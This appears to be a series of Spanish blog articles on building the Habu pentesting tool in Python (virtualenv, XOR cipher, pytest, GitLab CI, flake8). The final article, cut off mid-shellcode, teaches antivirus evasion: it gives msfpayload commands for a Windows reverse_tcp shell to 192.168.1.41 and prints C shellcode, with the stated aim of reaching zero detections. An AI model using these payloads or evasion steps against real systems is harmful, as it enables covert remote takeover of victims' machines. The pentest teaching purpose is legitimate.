Introducción

Tarde o temprano, el código que escribimos va a dejar de funcionar.

Por modificar algo en una librería, por no contemplar una determinada dependencia o por mil otras razones diferentes.

Sabiendo que va a fallar, tenemos que intentar manejar esos fallos de la mejor manera posible.

Eso lo logramos a través de dos cosas:

1. Pruebas unitarias

2. Integración contínua

Además, tenemos que pensar que nuestro código tiene que ser mantenido, ya sea por nosotros o por alguna otra persona, por lo tanto, tenemos que volver ese código fácil de leer y entender.

Eso lo logramos siguiendo las mejores prácticas para la escritura de código.

En este artículo vamos a resolver esos tres puntos.

Pruebas Unitarias

Las pruebas unitarias apuntan a verificar que las porciones de nuestro código (por ejemplo, funciones de una librería) funcionan como deberían.

Dichas pruebas también van a ser escritas en código Python, y van a ser simples funciones que verifican los resultados devueltos por las funciones que queremos probar.

Python, en su librería estándar, ya cuenta con el módulo unittest, pero nosotros vamos a utilizar el módulo PyTest, que es más fácil de utilizar y ofrece salidas más completas y claras.

pip install pytest

A continuación, vamos a crear el directorio 'tests' dentro del directorio principal de nuestro proyecto.

Y vamos a escribir algunos tests sencillos para nuestra librería xor.

Estos tests los vamos a poner en un archivo llamado 'test_xor.py'.

El hecho de que el nombre del archivo empiece con 'test' y esté dentro del directorio 'tests', le permite a PyTest encontrar las pruebas y ejecutarlas de una forma sencilla.

El contenido del archivo 'test_xor.py' va a ser el siguiente:

from habu.lib.xor import xor

def test_xor():
    text = b'text to encrypt'
    encrypted = xor(text)
    assert text == xor(encrypted)


def test_xor_w_key():
    text = b'text to encrypt'
    key = b'secret'
    encrypted = xor(text, key)
    assert text == xor(encrypted, key)

Como podemos ver, tenemos dos funciones, las dos muy parecidas.

La primera, 'test_xor()', xorea el texto de la variable 'text' y luego verifica que al volver a xorearlo, se obtenga el texto original.

La función 'asset' nos permite verificar una condición y hacer que el éxito o el fracaso del test dependa de ella.

En este caso, estamos verificando que 'text' sea igual al resultado de 'xor(encrypted)'.

La segunda, 'test_xor_w_key()', hace lo mismo que la primera, pero utiliza el parámetro que define la clave con la cual vamos a xorear.

Si guardamos el archivo y ejecutamos el comando 'pytest -v' (el parámetro '-v', como es habitual, habilita el modo verbose, para que obtengamos más datos acerca de la ejecución de pytest):

$ pytest 
=================== test session starts =============================
platform linux -- Python 3.5.2, pytest-3.0.3, py-1.4.31, pluggy-0.4.0
rootdir: /home/f/p/habu, inifile: pytest.ini
collected 2 items

test_xor.py::test_xor PASSED
test_xor.py::test_xor_w_key PASSED

=============== 2 passed in 0.02 seconds ============================

Como podemos ver, los tests pasaron ('PASSED').

Si modificamos la función 'test_xor()' y la cambiamos por:

def test_xor():
    text = b'text to encrypt'
    encrypted = xor(text)
    assert text != xor(encrypted)

Vamos a generar que la prueba falle (cambiamos el == por un !=), es decir, la prueba espera que text sea diferente al resultado de xor(encrypted).

====================== test session starts ====================================
platform linux -- Python 3.5.2, pytest-3.0.3, py-1.4.31, pluggy-0.4.0
cachedir: ../.cache
rootdir: /home/f/p/habu, inifile: pytest.ini
collected 2 items

test_xor.py::test_xor FAILED
test_xor.py::test_xor_w_key PASSED

=========================== FAILURES ==========================================
___________________________ test_xor __________________________________________

    def test_xor():
        text = b'text to encrypt'
        encrypted = xor(text)
>       assert text != xor(encrypted)
E       assert b'text to encrypt' != b'text to encrypt'
E        +  where b'text to encrypt' = xor(b'DUHD\x10D_\x10U^SBI@D')

test_xor.py:8: AssertionError
============== 1 failed, 1 passed in 0.04 seconds =============================

Claramente, PyTest nos está explicando qué fue lo que falló.

Deberíamos escribir pruebas para todas las funciones, o por lo menos, para las que consideremos más importantes.

Esto también nos fuerza a escribir funciones pequeñas, que hagan cosas claras.

Es muy difícil crear tests para funciones complejas.

Nota: En los ejemplos, podemos ver que los tests que acabo de escribir no son perfectos. Un simple caso de error sería el caso en el que la función xor() no esté haciendo absolutamente nada, y devolviera los valores sin modificar. En ese caso, las pruebas serían exitosas. Eso podríamos arreglarlo mejorando las pruebas, o creando otras pruebas adicionales, que verifiquen puntualmente el hecho de que el resultado de 'xor()' sea el esperado.

Integración Contínua

Con la integración contínua hacemos que nuestros tests sean ejecutados en uno o varios ambientes, para verificar que no funcionan únicamente en nuestras PC.

(Es muy habitual que las cosas funcionen solo en la máquina del desarrollador, y esto es un claro signo de que algo anda mal)

Como Habu es un proyecto hosteado en GitLab, podemos utilizar directamente su solución de integración contínua de forma gratuita.

(Para los que hosteen sus repositorios en GitHub, pueden utilizar Travis

https://travis-ci.org/

).

Para que GitLab sepa que queremos utilizar su CI, debemos generar un archivo llamado '.gitlab-ci.yml' en el directorio raíz de nuestro repositorio.

En el caso de Habu, el archivo contiene lo siguiente:

test:
  script:
  - apt-get update -qy
  - apt-get install -y python3-dev python3-pip
  - pip3 install virtualenv
  - virtualenv --python=/usr/bin/python3 venv
  - venv/bin/pip install -r requirements.txt
  - venv/bin/pip install -r dev-requirements.txt
  - venv/bin/pip install -e .
  - venv/bin/python setup.py pytest

Como podemos ver, son simplemente los comandos que debemos ejecutar para obtener un entorno en el cual se pueda instalar Habu y ejecutar sus tests.

Cada vez que hagamos un nuevo commit del código, veremos el resultado de los tests en la interfaz web de GitLab.

NOTA: Si tienen dudas sobre el funcionamiento de GitLab-CI, pueden visitar el siguiente link: https://docs.gitlab.com/ce/ci/quick_start/README.html.

Otro de los cambios que debemos hacer para que esto funcione, es agregar las dependencias de PyTest y PyTest-Runner (este último ayuda a que sea más fácil ejecutar de forma automática PyTest).

Para esto, editamos el archivo 'setup.py', y lo configuramos de la siguiente forma:

with open('README.rst') as f:
    readme = f.read()

setup(
    name='habu',
    version='0.0.10',
    description='Ethical Hacking Utils',
    long_description=readme,
    author='Fabian Martinez Portantier',
    author_email='fportantier@securetia.com',
    url='https://gitlab.com/securetia/habu',
    license='GNU General Public License v3 (GPLv3)',
    install_requires=[
        'Click',
        'Requests',
    ],
    tests_require=[
        'pytest',
        'pytest-runner',
    ],
    packages=['habu'],
    include_package_data=True,
    entry_points='''
        [console_scripts]
        habu.ip=habu.cli.cmd_ip:cmd_ip
        habu.xor=habu.cli.cmd_xor:cmd_xor
    ''',
    classifiers=[
        "Environment :: Console",
        "Intended Audience :: Developers",
        "Intended Audience :: Information Technology",
        "Intended Audience :: System Administrators",
        "License :: OSI Approved :: GNU General Public License v3 (GPLv3)",
        "Topic :: Security",
        "Topic :: System :: Networking",
        "Programming Language :: Python :: 3.0",
        "Programming Language :: Python :: 3.6",
    ],
    keywords=['security'],
    zip_safe=False,
    test_suite='py.test',
)

Las partes importates para lo que vimos hasta ahora son:

1. tests_require: Define qué paquetes son necesarios para ejecutar los tests

2. test_suite: Define cuál es el comando a ejecutar para correr los tests

Calidad de Código

Python cuenta con varias mejores prácticas a la hora de escribir código. La mayoría de las cuales están detalladas en el documento PEP8 https://www.python.org/dev/peps/pep-0008/.

Para verificar que nuestro código cumple con dichas mejores prácticas, y validar algunas otras que no están definidas en PEP8, podemos utilizar el módulo 'flake8', que reúne varias pruebas y las pone a disposición a través del comando 'flake8'.

$ pip install flake8

Ahora, si ejecutamos 'flake8', podremos ver algo como lo siguiente:

$ flake8 
./habu/lib/xor.py:2:1: F401 'datetime.datetime' imported but unused
./habu/lib/xor.py:4:1: E302 expected 2 blank lines, found 1
./habu/lib/xor.py:9:26: E203 whitespace before ':'
./habu/lib/xor.py:11:14: E225 missing whitespace around operator
./habu/lib/xor.py:14:1: W391 blank line at end of file

Veremos varios problemas que agregué a propósito para demostrar el funcionamiento de flake8, y no están en el repositorio de código.

Más allá de cuestiones de estilo, como el hecho de dejar o no espacios entre operadores, podemos ver que nos está alertando sobre la importación de un módulo que no ha sido utilizado (datetime).

Corregir todas estas alertas puede ser tedioso, pero hace que nuestro código sea mucho más legible y aceptable por toda la comunidad Python.

En el caso de que flake8 no envie ninguna salida por pantalla, quiere decir que no ha encontrado ningún error.

Conclusión

Hemos visto varias formas de mejorar nuestro código, y detectar las fallas que pudieran introducir nuestras modificaciones lo antes posible.

En los próximos artículos

Vamos a agregar nuevas funcionalidades a Habu, más relacionadas con el Ethical Hacking (perdón, pero hablar de la calidad del código era necesario antes de seguir escribiendo nuevas funcionalidades).

Introducción

Como bien lo explica la Wikipedia, 'XOR' puede referirse a varias cosas (todas ellas muy relacionadas entre sí):

• La puerta XOR, en electrónica.

• El operador XOR, en lógica, matemáticas y programación.

• El cifrado XOR

El 'o exclusivo' (eXclusive OR) es un operador lógico simbolizado como XOR, EOR, EXOR, ⊻, o ⊕ es un tipo de disyunción lógica de dos operandos.

Nota: El operador XOR en python es ^

Una disyunción solamente es verdadera cuando ambas partes tienen valores diferentes de verdad, es decir, cuando una u otra es verdadero. No en el caso de que ambos sean verdaderos o ambos sean falsos.

Por eso, siempre que hagamos un XOR de un valor consigo mismo vamos a obtener falso (A ^ A = False)

Observemos los siguientes ejemplos:

• True ^ True = False

• True ^ False = True

• False ^ True = True

• False ^ False = False

Lo mismo, pero en python:

$ python
Python 3.5.2 (default, Jun 28 2016, 08:46:01) 
[GCC 6.1.1 20160602] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> True ^ True
False
>>> True ^ False
True
>>> False ^ True
True
>>> False ^ False
False

NOTA: Aquí estamos utilizando Python en modo interactivo. A partir de ahora, los ejemplos en modo interactivo van a estar marcados por el prompt ">>>" y voy a omitir todos los demás mensajes de versión y ayuda para hacer el código más breve.

Aplicaciones de XOR

XOR tiene una propiedad que la hace ser muy importante para el uso en la criptografía:

"La doble aplicación de XOR resulta en la identidad"

Esto quiere decir que si aplicamos la función XOR a un valor, y luego se la volvemos a aplicar, obtenemos el valor original, lo podemos explicar así:

(A ^ B) ^ B = A

En Python:

>>> (True ^ True) ^ True
True
>>> (True ^ False) ^ False
True
>>> (False ^ True) ^ True
False
>>> (False ^ False) ^ False
False

Viendo esto, podemos determinar que, si tenemos una secuencia de valores True o False, que vamos a llamar "A", y otra secuencia de valores que vamos a llamar "B", y a "A" le aplicamos XOR utilizando B, obtenemos una tercer secuencia de valores, que llamaremos "C". Si a "C" le aplicamos XOR con "B", volvemos a obtener "A".

¿Qué es lo importante de esto? Acabamos de cifrar los datos.

Con una función tan básica como XOR, y una clave, podemos empezar a cifrar datos.

Siempre debemos recordar que todos los datos, en las computadoras, terminan siendo representados por un 0 o por un 1.

(Muchas veces vamos a ver el mapeo de True = 1, False = 0)

Creando la Función XOR

Vamos a desarrollar, paso a paso, la función XOR que luego vamos a implementar como un comando de Habu.

Para eso, primero vamos a introducir la función os.urandom(), que sirve para solicitar una n cantidad de datos aleatorios a nuestro sistema operativo. https://docs.python.org/3/library/os.html#os.urandom

>>> import os
>>> A = os.urandom(8)
>>> for x in A:
...     print(x)
... 
216
122
245
149
246
94
189
27

En el código anterior asignamos a 'A' 8 bytes aleatorios. Luego recorremos los 8 bytes y mostramos cada uno con la función 'print'.

Cada byte aleatorio va a tener un valor entre 0 y 255, porque un byte son 8 bits, y con 8 bits podemos representar valores desde el 0 al 255.

NOTA: Como a continuación vamos a utilizar una función llamada 'zip()', primero vamos a explicar para qué sirve.

La función zip permite agregar varios iterables, devolviendo un iterable de tuplas, en los que cada elemento i de la tupla se corresponde con los elementos i de cada uno de los iterables que se pasaron como parámetro.

Un ejemplo:

>>> A = ['pera', 'manzana', 'limon']
>>> B = ['verde', 'roja', 'amarillo']
>>>
>>> list(zip(A,B))
[('pera', 'verde'), ('manzana', 'roja'), ('limon', 'amarillo')]

Como detalle, tenemos que marcar que estoy convirtiendo el resultado de zip a una lista, para poder mostrarlo más facilmente con la función print.

Ahora vamos a hacer el ejercicio de trabajar con los valores A, B y C. Teniendo el valor A, lo vamos a XORear con B, para obtener C. Al valor C, lo vamos a XORear con B, y obtendremos el valor A.

>>> import os
>>> 
>>> A = os.urandom(8)
>>> B = os.urandom(8)
>>> 
>>> list(A)
[151, 82, 79, 150, 128, 52, 105, 103]
>>> 
>>> list(B)
[166, 90, 35, 99, 7, 42, 171, 28]
>>> 
>>> C = bytes([ a^b for a,b in zip(A,B) ])
>>> 
>>> list(C)
[49, 8, 108, 245, 135, 30, 194, 123]
>>> 
>>> D = bytes([ c^b for c,b in zip(C,B) ])
>>> 
>>> list(D)
[151, 82, 79, 150, 128, 52, 105, 103]
>>>
>>> A == D
True

Acabamos de hacer muchas cosas en pocas líneas, que ahora vamos a pasar a explicar...

Primero, creamos las variables A y B, con 8 bytes aleatorios cada uno.

>>> A = os.urandom(8)
>>> B = os.urandom(8)

Mostramos los valores de A y B, convirtiéndolos en listas con la función list().

>>> list(A)
[151, 82, 79, 150, 128, 52, 105, 103]
>>> 
>>> list(B)
[166, 90, 35, 99, 7, 42, 171, 28]

Creamos C, que se calcula de la siguiente forma:

Con zip(), generamos un iterador con un tupla para cada elemento de A,B. Por ejemplo, la primer tupla generada va a ser (151, 166).

Para cada tupla de ese iterador, asignamos los valores en 'a' y 'b', es decir, en la primera iteración sobre el iterador, el valor de 'a' = 151 y el de 'b' = 166.

Aplicamos la función XOR sobre los valores de 'a' y 'b' (a^b).

Generamos una lista con todos los valores obtenidos de las iteraciones.

Esa lista, la convertimos al tipo de dato 'bytes', para que tenga el mismo tipo de dato que A y B, con el propósito de poder comprarlos más adelante.

>>> C = bytes([ a^b for a,b in zip(A,B) ])

Con 'list(C)' lo que hicimos fue mostrar por pantalla una representación de C en formato de lista, porque si mostramos el dato en bytes, se va a ver algo así:

b'1\x08l\xf5\x87\x1e\xc2{'

Llegado a este punto, ya obtuvimos el resultado de XORear A con B, y lo almacenamos en la variable C.

Ahora, vamos a repetir el proceso, XOReando C y B, y almacenando el resultado en la variable D.

>>> D = bytes([ c^b for c,b in zip(C,B) ])

Anteriormente dijimos que: (A ^ B) ^ B = A

Entonces, si XOReamos C con B, deberíamos obtener el valor de A.

Con 'A == D', verificamos que A y D tengan el mismo valor y, como podemos ver, el resultado de la comparación fue True, por lo que, efectivamente, obtuvimos en D el valor de A.

>>> A == D
True

Acabamos de cifrar el valor de A con la clave B, para obtener C. Luego desciframos C con la clave B, y volvimos a obtener el valor de A.

Datos y Claves de Diferente Longitud

En el ejemplo anterior, A y B tenían la misma longitud (8 bytes) y eso le permitía a la función zip() generar un iterable con 8 tuplas (una por cada byte).

Hay un detalle, y es que, si la función zip() encuentra que los dos o más iterables que se le pasan como parámetro, tienen distinta longitud, va a devolver un iterable del tamaño del menor de los iterables que se le pasó como parámetro.

(Si A tuviera 8 bytes y B tuviera 10 bytes, el resultado de zip va a ser un iterable de 8 tuplas, y los últimos 2 bytes de B van a ser descartados)

Cada vez que ciframos datos, es muy habitual que la clave de cifrado sea de menor longitud que los datos que estamos cifrando (salvo que estemos usando un One Time Pad, pero eso va a ser para un próximo artículo).

Para resolver este problema, podemos utilizar la función cycle(), del módulo itertools, que nos permite recorrer un iterable y, una vez que sea han terminado los elementos, empezar a recorrerlo nuevamente todas las veces que sea necesario.

Solamente tenemos que hacer unos pocos cambios en el código: (voy a poner unicamente el código modificado)

>>> from itertools import cycle
>>>
>>> C = bytes([ a^b for a,b in zip(A,cycle(B)) ])

NOTA: Si bien no es habitual, en el caso de que B tenga mayor longitud que A, no debemos preocuparnos, porque vamos a poder XORear sin problemas. Si intentamos utilizar cycle() tanto para A como para B, el programa va a empezar a consumir toda la memoria de nuestro sistema, porque nunca va a saber donde encontrar un fin.

Implementación Final

A continuación muestro el código final de la implementación de la función xor(), tal como está en el repositorio de habu:

def xor(a, b='0'.encode()):
    return bytes([ a^b for a,b in zip(a,cycle(b)) ])

El único cambio que se hizo es el de definir un valor por defecto a la función xor().

En el caso de que no sea pase un segundo valor (la clave), el XOReado se va a realizar con '0', lo cual no representa un nivel de seguridad, pero permite realizar el proceso, el cual muchas veces es utilizado para ofuscar datos.

Y a continuación podemos ver el código del comando habu.xor:

import click
from habu.lib.xor import xor

@click.command()
@click.option('-k', default='0', help='Encryption key')
@click.option('-i', type=click.File('rb'), required=True, help='Input file')
@click.option('-o', type=click.File('wb'), required=True, help='Output file')
def cmd_xor(k, i, o):
    """XOR cipher"""
    o.write(xor(i.read(), k.encode()))


if __name__ == '__main__':
    cmd_xor()

Como podemos ver, click hace un gran trabajo con el manejo de parámetros, y se encarga automáticamente de abrir y cerrar los archivos que se pasan por parámetro.

Conclusión

En este artículo vimos una implementación de XOR en Python y cómo implementar un comando utilizando el paquete 'Click' que permite utilizar archivos como parámetro.

En los próximos artículos

Vamos a ver cómo podemos mejorar la calidad de nuestro código, siguiendo las mejores prácticas e implementando pruebas unitarias, para verificar que nuestro código verdaderamente funciona como lo esperamos.

Introducción

En Securetia, al momento de realizar Penetration Tests lo hacemos de forma "artesanal", es decir, que no nos limitamos a ejecutar herramientas automatizadas (como OpenVAS), si no que también realizamos un análisis manual, con herramientas particulares de acuerdo a cada situación.

Esto nos ha llevado a desarrollar algunas herramientas y scripts para cada caso particular.

Voy a aprovechar estos artículos para unificar estos pequeños programas en una herramienta un poco más organizada y documentada. Además de ser código abierto y hostearla en gitlab.

Como va a estar escrita con espíritu pedagógico, la herramienta va a ser desarrollada poco a poco, empezando por conceptos básicos e irá implementando funcionalidades más avanzadas a medida que pasen los artículos.

Software Necesario

Para trabajar en este proyecto, necesitamos lo siguiente:

• Python 3.x

• Git

Virtualenv

En Python se suelen utilizar entornos virtuales para aislar los paquetes instalados que son necesarios para cada proyecto en el que trabajamos o utilizamos. Esto nos va a beneficiar muchísimo al momento de evitar colisiones entre distintas versiones de los paquetes.

Para gestionar los entornos virtuales vamos a utilizar virtualenvwrapper, el cual podemos instalar a través de pip:

$ sudo pip install virtualenvwrapper

Una vez instalado, vamos a poder crear un nuevo entorno virtual:

$ mkvirtualenv habu
Using base prefix '/usr'
New python executable in /home/fabian/.python-envs/habu/bin/python3
Not overwriting existing python script /home/fabian/.python-envs/habu/bin/python (you must use /home/fabian/.python-envs/habu/bin/python3)
Installing setuptools, pip, wheel...done.
(habu)$

(No es necesario que el entorno virtual se llame de ninguna forma en particular, pero ponerle el mismo nombre del proyecto en el que estamos trabajando, ayuda a simplificar las cosas)

Como habremos notado, nuestro prompt ahora incluye el nombre del entorno virtual en el que estamos trabajando.

Esto ha cambiado (entre otras cosas) cuál es nuestro intérprete de python por defecto:

$ which python
/home/fabian/.python-envs/habu/bin/python

Cada vez que instalemos un paquete estando dentro del entorno virtual, el mismo se va a instalar únicamente para ese entorno virtual.

Podemos utilizar 'deactivate' para desactivar el entorno virtual, y 'workon' para entrar en el entorno virtual:

(habu)$ which python
/home/fabian/.python-envs/habu/bin/python
(habu)$ deactivate 
$ which python
/usr/bin/python
$ workon habu
(habu)$ which python
/home/fabian/.python-envs/habu/bin/python

Estructura del Proyecto

Vamos a intentar mantener esto lo más sencillo posible, con el objetivo de hacerlo amigable a los que no estén tan familiarizados con Python. Así que la estructura no va a tener grandes cosas.

El repositorio de código está hosteado en https://github.com/portantier/habu.

Para traernos el proyecto:

$ git clone https://gitlab.com/securetia/habu
Cloning into 'habu'...
remote: Counting objects: 5, done.
remote: Compressing objects: 100% (5/5), done.
remote: Total 5 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (5/5), done.

Ahora tenemos el directorio habu, con una estructura similar a la siguiente:

├── dev-requirements.txt
├── docs
├── habu
│   ├── cli
│   │   ├── __init__.py
│   │   └── cmd_ip.py
│   ├── __init__.py
│   └── lib
│       └── ip.py
├── LICENSE
├── README.md
├── setup.py
└── tests

Es una estructura relativamente sencilla, la cual detallaremos poco a poco. Por ahora, nos interesa saber lo siguiente:

• dev-requirements.txt: Lista de paquetes necesarios para trabajar en el desarrollo de habu

• docs: Documentación

• habu: Directorio donde va a ir el código del proyecto

• LICENSE: Licencia del proyecto

• README: Archivo 'leeme' en formato markdown (para gitlab)

• setup.py: Instrucciones para la instalación del paquete a través de pip

• tests: Directorio con los tests de calidad del proyecto

Uno de los archivos más importantes es 'setup.py', que contiene instrucciones para la instalación del paquete a través de pip, e información como las dependencias.

$ cat setup.py 
from setuptools import setup

with open('README.md') as f:
    readme = f.read()

with open('LICENSE') as f:
    license = f.read()

setup(
    name='habu',
    version='0.0.1',
    description='Penetration Testing Utils',
    long_description=readme,
    author='Fabian Martinez Portantier',
    author_email='fportantier@securetia.com',
    url='https://gitlab.com/securetia/habu',
    license=license,
    install_requires=[
        'Click',
        'Requests',
    ],
    packages=['habu'],
    include_package_data=True,
    entry_points='''
        [console_scripts]
        habu.ip=habu.cli.cmd_ip:cmd_ip
    ''',
)

Por ahora, las partes más importantes son:

• install_requires: Define las dependencias del paquete

• entry_points: Define los comandos que va a proveer el paquete

Librería y Ejecutables

El objetivo del proyecto es el de proveer comandos útiles para las tareas de un Penetration Test, así como también una librería que ponga a disposición las funciones utilizadas por los comandos, para que el proyecto pueda ser utilizado para la construcción rápida de otras herramientas.

Por eso, existen los directorios 'lib' y 'cli' en los cuales residen las funciones y los comandos, respectivamente.

Cuál es mi IP

Una de las funciones más básicas que podemos implementar, para demostrar la forma de trabajo del proyecto, es la de conocer cuál es nuestra dirección IP pública.

Para eso, tenemos la librería ip (lib/ip.py), que contiene la función 'get_ip':

import requests

def get_ip():
    return requests.get('https://api.ipify.org').text

if __name__ == '__main__':
    print(get_ip())

Esta librería utiliza el paquete 'requests' para facilitar el trabajo con peticiones HTTP.

La función 'get_ip' simplemente realiza una petición al servicio https://api.ipify.org, que devuelve un string con únicamente nuestra dirección IP pública, y devuelve ese string como resultado.

En el caso de que el módulo sea ejecutado directamente (if name == 'main') se ejecuta la función get_ip()

Esto nos permite hacer lo siguiente:

$ python lib/ip.py 
182.13.121.142

De todos modos, eso no sería muy práctico, por lo que definimos el archivo 'cli/cmd_ip.py', con lo siguiente:

import click
from habu.lib.ip import get_ip

@click.command()
def cmd_ip():
    """Example script."""
    print(get_ip())

Aquí utilizamos el paquete 'click' para ayudarnos a construir nuestra interfaz CLI.

Decoramos la función cmd_ip con 'click.command()' para declarar que es un comando.

Nota: 'Decorar' una función nos permite llamar a otra función para modificar su comportamiento. En otros artículos vamos a usar más decoradores y a explicarlos mejor.

entry_points='''
    [console_scripts]
    habu.ip=habu.cli.cmd_ip:cmd_ip
''',

Eso le indica a pip que tiene que poner a disposición el comando 'habu.ip' que, al ser ejecutado, va a llamar a la función cmd_ip, que reside dentro del archivo cmd_ip.py, que a su vez reside dentro del módulo cli, que a su vez reside dentro del paquete habu (por eso la sintáxis: habu.cli.cmd_ip:cmd_ip)

Para instalar el paquete habu en nuestro entorno virtual, podemos pararnos en la raíz del paquete y utilizar el siguiente comando:

$ pip install -e .
Obtaining file:///home/fabian/habu
Collecting Click (from habu==0.0.1)
Collecting Requests (from habu==0.0.1)
  Using cached requests-2.11.1-py2.py3-none-any.whl
Installing collected packages: Click, Requests, habu
  Running setup.py develop for habu
Successfully installed Click-6.6 Requests-2.11.1 habu

Como podemos ver, no solamente se ha instalado el paquete habu, si no también sus dependencias (eso es gracias a que están detalladas en el archivo setup.py).

Ahora disponemos del ejecutable 'habu.ip':

$ habu.ip 
186.19.120.102

Ejecutando Fuera del Entorno Virtual

Si salimos del entorno virtual, no vamos a tener acceso al comando habu.ip, pero eso es simplemente porque no va a estar en nuestro PATH.

No es una buena idea agregar el directorio en el cual reside el comando, debido a que hay otros comandos que colisionarían, como pip, python, etc.

Una forma bastante sencilla es incluir lo siguiente en nuestro .bashrc (en el caso de no usar bash, tendremos que verificar la documentación de nuestra shell)

for f in $(ls -1 ~/.python-envs/habu/bin)
do
    alias $(basename $f)="~/.python-envs/habu/bin/$f"
done

Esto genera un alias para cada comando que empieza con 'habu.', además, los scripts generados por setuptools permiten que los comandos funcionen fuera del entorno virtual (se encargan de que cada comando ingrese al entorno virtual antes de ejecutarse)

Conclusión

En este artículo hemos hecho una buena introducción a cómo empezar a trabajar en un proyecto Python para generar una interfaz de línea de comandos y una librería.

Ya contamos con los fundamentos para empezar a modificar el código y jugar con las diferentes funcionalidades.

En los próximos artículos

Vamos a implementar más funcionalidades asociadas a los Penetration Tests (la funcionalidad que vimos en este artículo fue un ejemplo muy básico).

Como siempre aclaro a mis clientes y alumnos, los servicios de análisis de archivos en línea deben ser tomados más como una referencia estadística que como un resultado definitivo. Porque, el hecho de que un antivirus X no detecte como malicioso un archivo que subimos, no quiere decir que ese mismo antivirus, instalado en una PC, no lo detecte. Básicamente, las condiciones de testeo son diferente y, es por eso, que debemos tomar esos resultados como estadísticos. Si tenemos un archivo que es detectado por 40 de los 55 antivirus utilizados, ya sabemos que es un archivo muy "detectable". Si, por el contrario, analizamos un archivo que es detectado por 8 de los 55 antivirus, ya estamos en presencia de un programa más "sigiloso".

Es por eso que, al final de este artículo, se hace un análisis con tres antivirus instalados en una máquina virtual, para probar qué tan cierto es eso de "indetectable".

El entorno de pruebas

Para la generación de los archivos maliciosos voy a utilizar Kali Linux, con la versión 4.10 de Metasploit Framework. Obviamente, pueden utilizar otra distribución, mientras tengan Metasploit Framework (no recomiendo utilizar MSF sobre sistemas Windows porque, en mi experiencia, no funciona tan bien como en sistemas GNU/Linux).

También voy a utilizar una máquina virtual con Windows 7 (aunque también pueden utilizar otra versión, como XP, Vista, 8). Lo único que vamos a hacer es probar que los archivos generados se ejecuten correctamente. Y vamos a necesitar un compilador de lenguaje C, que en mi caso es xxx. Este último lo vamos a utilizar para generar el programa malicioso, que utilizará como base los payloads generados por MSF.

Paso 1: El payload básico

Como toda prueba debería empezar por el caso más simple, vamos a generar un payload totalmente detectable, utilizando msfpayload, de la siguiente forma:

msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=4444 X > sample01.exe

Esto nos va a generar el archivo "sample01.exe" que, al ejecutarse, va a conectarse con nuestro servidor de MSF a la IP que acabo de especificar (en mi caso, 192.168.1.41), al puerto TCP/4444.

(La "X" casi al final del comando es para que el formato de archivo sea ejecutable de windows, o sea, PE32)

Al finalizar, el comando va a tener una salida similar a la siguiente:

Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
Length: 287
Options {"LHOST"=>"192.168.1.41", "LPORT"=>"4444"}

Una vez obtenido ese archivo, lo subimos a VirusTotal. En mi caso, la detección fue de 35/55 (es decir, 35 de los 55 antivirus lo detectaron como malicioso), lo cual es un porcentaje de detección altísimo. Nuestro objetivo, será bajarlo al mínimo (obviamente, el ideal es bajarlo a cero).

Como una pequeña prueba, intenté modificar el puerto al que se conecta el payload, sustituyendo el TCP/4444 por el TCP/443. Hice esta prueba porque el puerto TCP/4444 es ampliamente utilizado por MSF, y eso puede llegar a hacer que varios antivirus "sospechen" de ese comportamiento. Así que modifiqué el comando anterior por el siguiente:

msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 X > sample02.exe

Aunque, luego de subir el archivo a VirusTotal, la detección quedó igual (35/55)

Aclaro que, si alguien piensa que la prueba de cambiar el puerto es algo "tonta", en muchos casos similares se baja el índice de detección de forma considerable. Por ejemplo, como he explicado en ocasiones anteriores (y muchos otros lo han hecho también), podemos modificar el puerto de escucha del backdoor "tini", del TCP/7777 a cualquier otra cosa, y eso va a reducir, aunque sea un poco, el índice de detección.

En resumen, por ahora seguimos igual.

Paso 2: El payload dentro de otro archivo

Lo que se me ocurrió hacer como paso siguiente, fue crear un archivo ejecutable, en C, que contenga la información del payload generado por msfpayload. Esto no es invento mío, es una técnica ampliamente utilizada, en la cual un archivo, en cualquier lenguaje, incluye dentro de sí el código shellcode (en este caso llamado más bien "payload" por la nomenclatura de MSF).

Así que, haciendo una modificación al comando anterior, vamos a hacer que la salida de msfpayload no sea un archivo ejecutable, si no un cadena de texto utilizable en código fuente C.

msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 C

Después de este comando, obtendremos una salida similar a la siguiente:

msfpayload windows/shell/reverse_tcp LHOST=192.168.1.41 LPORT=443 C 
/*
 * windows/shell/reverse_tcp - 287 bytes (stage 1)
 * http://www.metasploit.com
 * VERBOSE=false, LHOST=192.168.1.41, LPORT=443, 
 * ReverseConnectRetries=5, ReverseListenerBindPort=0, 
 * ReverseAllowProxy=false, ReverseListenerThreaded=false, 
 * EnableStageEncoding=false, PrependMigrate=false, 
 * EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] = 
"\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a"
"\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b"
"\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38"
"\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24"
"\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f"
"\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32"
"\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29"
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40"
"\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0"
"\xa8\x01\x29\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
